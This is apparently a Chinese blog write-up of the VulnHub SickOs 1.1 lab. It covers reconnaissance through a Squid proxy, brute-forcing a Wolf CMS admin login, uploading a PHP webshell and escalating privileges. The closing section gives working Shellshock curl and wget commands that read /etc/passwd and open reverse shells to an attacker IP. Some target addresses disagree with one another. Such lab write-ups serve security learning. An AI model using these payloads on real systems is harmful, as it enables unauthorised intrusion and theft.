vulnhub-SickOs1.1

kali:192.168.56.109
靶机:192.168.56.121

信息收集

nmap  -f -Pn -A -O -p- 192.168.56.122

Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 093d29a0da4814c165141e6a6c370409 (DSA)
|   2048 8463e9a88e993348dbf6d581abf208ec (RSA)
|_  256 51f6eb09f6b3e691ae36370cc8ee3427 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
MAC Address: 08:00:27:43:C1:A9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

使用3128代理访问34037web服务,得到404

使用代理访问80端口web服务

nikto扫描 nikto -h 192.168.56.122 -useproxy http://192.168.56.122:3128

dirb扫描

访问 192.168.56.122/connect 得到一个py文件

访问 robots.txt

这种CMS存在的漏洞大多都与后台相关

可通过 searchexploit 等搜索历史漏洞查看相关信息和历史漏洞,如后台url为 http://192.168.56.122/wolfcms/?/admin/login 等

文件上传反弹shell

进入后台,使用bp爆破登录密码,得到 admin:admin。即可登录

无waf,可上传php文件,上传后可于 http://192.168.56.122/wolfcms/public/ 访问

拿到webshell,查看php配置文件

然后上传并运行 信息枚举、漏洞扫描脚本。可以得知此机器存在普通账号 

提权

可使用 sickos:john@123 登录ssh

还可以通过定时任务提权

修改py文件反弹root-shell

shellshock CVE-2014-6278

shellshock漏洞:
许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。


cgi调用了两条linux指令 uptime、uname -a

Bash Shellshock漏洞复现及分析 - FreeBuf网络安全行业门户

什么是ShellShock攻击? - 知乎 (zhihu.com)

# 将字符串 123 输出到指定文件,可通过 ip/file1 访问
curl -x http://192.168.56.122:3128 -H "User-Agent: () { :;}; echo 123 > /var/www/file1" http://192.168.56.122/cgi-bin/status

# 反弹shell到指定ip端口
curl -x  http://192.168.56.122:3128 -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.56.109/4444 0>&1" http://192.168.56.122/cgi-bin/status

# 也可以使用wget构造请求头
wget -qO- -U "() { test;};echo \"Content-type:text/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=yes -e http_proxy=192.168.122:3128 http://192.168.56.122/cgi-bin/status
wget -qO- -U "() { test;};echo \"Content-type:text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/192.168.56.109/4444 0>&1" -e use_proxy=yes -e http_proxy=192.168.122:3128 http://192.168.56.122/cgi-bin/status

# 也可编程实现

 kali也自带相关工具

 

posted @ 2022-12-30 15:08  某某人8265  阅读(36)  评论(0编辑  收藏  举报